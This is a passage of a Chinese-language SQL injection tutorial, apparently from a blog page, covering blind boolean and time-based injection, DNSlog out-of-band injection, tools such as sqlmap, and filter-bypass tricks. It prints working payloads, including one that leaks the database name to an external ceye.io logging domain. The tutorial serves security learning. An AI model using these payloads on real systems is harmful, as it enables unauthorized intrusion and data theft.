SQL初步注入

十二.伪静态注入

伪静态的网站一般在url中存在数字

十三.盲注(布尔型SQL盲注、时间型SQL盲注)

1.布尔型盲注

复制代码
vince' and  ascii(substr(database(),1,1))=112#'

通过这个方法,就能得到后台数据库的名称的第一个字符的 ascii码,不断测试得出数据库名称

布尔型盲注基本都是通过ascii码来测试的

2.时间型盲注

基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测 vince' and if(substr(database(),1,1)='p',sleep(10),null)# ,在web控制台下,判断出 点)',sleep(10),null# ,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输 入: database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。判断猜解

时间型盲注经常使用的函数: sleep(5)、benchmark(10000000,MD5(1)) benchmark是mysql的内置 函数,是将MD5(1)执行10000000次以达到延迟的效果

十四.DNSlog注入

条件:

1、需要mysql用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,权限不够的 话,不能调用这个函数。其实只要mysql中配置项中开启了这个secure_file_priv配置,就可以通过sql语 句来执行文件读写操作。

2、目标mysql数据库服务器能够访问外网 其实load_file()不仅能够加载本地文件,同时也能对诸如 \<www.jaden.com> 这样的URL发起请求。这样 的url我们称之为UNC路径,简单了解即可。就借助load_file函数能够访问某个网址的特性,来进行 DNSlog注入

复制代码
select * from member where id=1 and (select load_file(concat('\\\\',(select  database()),'.9fqiop.ceye.io\\abc')))
复制代码
工具:
​
https://github.com/ADOOO/DnslogSqlinj
​
​

十五.SQL工具测试

萝卜头(了解)

Pangolin(穿山甲)

sqlmap(重点)

十六.防御绕过

前端绕过

bp抓包修改后再放包即可绕过

后端绕过

情况一绕过:大小写绕过:SELECT * FROM USERS;

情况二绕过:双写:selselectect * from users; 其实str_replace只替换了一次select还剩下一个select

情况三:强防御,这种的很难绕过了,因为我们写的注入语句都是字符串,针对提交数据为纯数字的时 候,这种防御就很难绕过了,但是好多时候,用户正常向后台提交的数据都是非数字类型的,这样的话 就不会进行intval()的加工,就可以尝试其他注入手法。

情况四:开启了魔术符号转义功能,这种的参看我们前面说的宽字节注入、二次注入等

相关推荐
ademen25 分钟前
spring第9课,spring对DAO的支持
java·数据库·spring
Java小白程序员30 分钟前
SQL 语句进阶实战:从基础查询到性能优化全指南
数据库·sql·性能优化
君不见,青丝成雪1 小时前
Hadoop技术栈(四)HIVE常用函数汇总
大数据·数据库·数据仓库·hive·sql
不羁。。6 小时前
【撸靶笔记】第七关:GET - Dump into outfile - String
数据库·笔记·oracle
yangchanghua1118 小时前
pgsql 如何查询今天范围内的数据(当天0点0分0秒 - 当天23点59分59秒....)
数据库·pgsql
larance8 小时前
SQLAlchemy 的异步操作来批量保存对象列表
数据库·python
python_chai8 小时前
从数据汇总到高级分析,SQL 查询进阶实战(下篇)—— 分组、子查询与窗口函数全攻略
数据库·sql·mysql
在努力的前端小白8 小时前
Spring Boot 敏感词过滤组件实现:基于DFA算法的高效敏感词检测与替换
java·数据库·spring boot·文本处理·敏感词过滤·dfa算法·组件开发
未来之窗软件服务8 小时前
自建知识库,向量数据库 (九)之 量化前奏分词服务——仙盟创梦IDE
数据库·仙盟创梦ide·东方仙盟·自建ai·ai分词
冒泡的肥皂12 小时前
MVCC初学demo(一
数据库·后端·mysql